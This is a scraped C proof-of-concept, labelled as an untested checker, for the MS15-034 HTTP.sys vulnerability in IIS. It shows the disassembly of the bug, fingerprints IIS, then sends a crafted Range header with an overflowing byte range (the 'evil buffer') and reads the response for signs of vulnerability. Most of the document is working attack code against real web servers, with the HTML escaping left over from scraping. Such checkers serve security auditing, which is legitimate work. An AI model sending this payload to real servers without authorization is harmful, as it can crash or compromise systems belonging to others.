MS15-034 PoC HTTP.sys

/*
UNTESTED - <a target="_blank" href="https://www.hedysx.com/tag/ms15-034" title="View all posts in MS15-034">MS15-034</a> Checker

THE BUG:

8a8b2112 56              push    esi
8a8b2113 6a00            push    0
8a8b2115 2bc7            sub     eax,edi
8a8b2117 6a01            push    1
8a8b2119 1bca            sbb     ecx,edx
8a8b211b 51              push    ecx
8a8b211c 50              push    eax
8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

ORIGNAL POC: [url]http://pastebin.com/raw.php?i=ypURDPc4[/url]

BY: [email]john.b.hale@gmai.com[/email]
Twitter: @rhcp011235
*/

#include &lt;sys/socket.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;netdb.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;arpa/inet.h&gt;

int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;

struct sockaddr_in serv_addr;
struct hostent *server;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) &lt; 0)
{
printf(&quot;\n Error : Could not create socket \n&quot;);
return 1;
}

memset(&amp;serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &amp;serv_addr.sin_addr)&lt;=0)
{
printf(&quot;\n inet_pton error occured\n&quot;);
return 1;
}
if( connect(sockfd, (struct sockaddr *)&amp;serv_addr, sizeof(serv_addr)) &lt; 0)
{
printf(&quot;\n Error : Connect Failed \n&quot;);
return 1;
}

return sockfd;
}


int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];

// Check server
char request[] = &quot;GET / HTTP/1.0\r\n\r\n&quot;;

// our evil buffer
char request1[] = &quot;GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n&quot;;


if(argc != 2)
{
printf(&quot;\n Usage: %s &lt;ip of server&gt; \n&quot;,argv[0]);
return 1;
}

printf(&quot;[*] Audit Started\n&quot;);
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request));
read(sockfd, recvBuff, sizeof(recvBuff)-1);

if (!strstr(recvBuff,&quot;Microsoft&quot;))
{
printf(&quot;[*] NOT IIS\n&quot;);
exit(1);
}

sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,&quot;Requested Range Not Satisfiable&quot;))
{
printf(&quot;[!!] Looks VULN\n&quot;);
exit(1);
} else if(strstr(recvBuff,&quot;The request has an invalid header name&quot;)) {
printf(&quot;[*] Looks Patched&quot;);
} else
printf(&quot;[*] Unexpected response, cannot discern patch status&quot;);




}

[2015-04-16]  #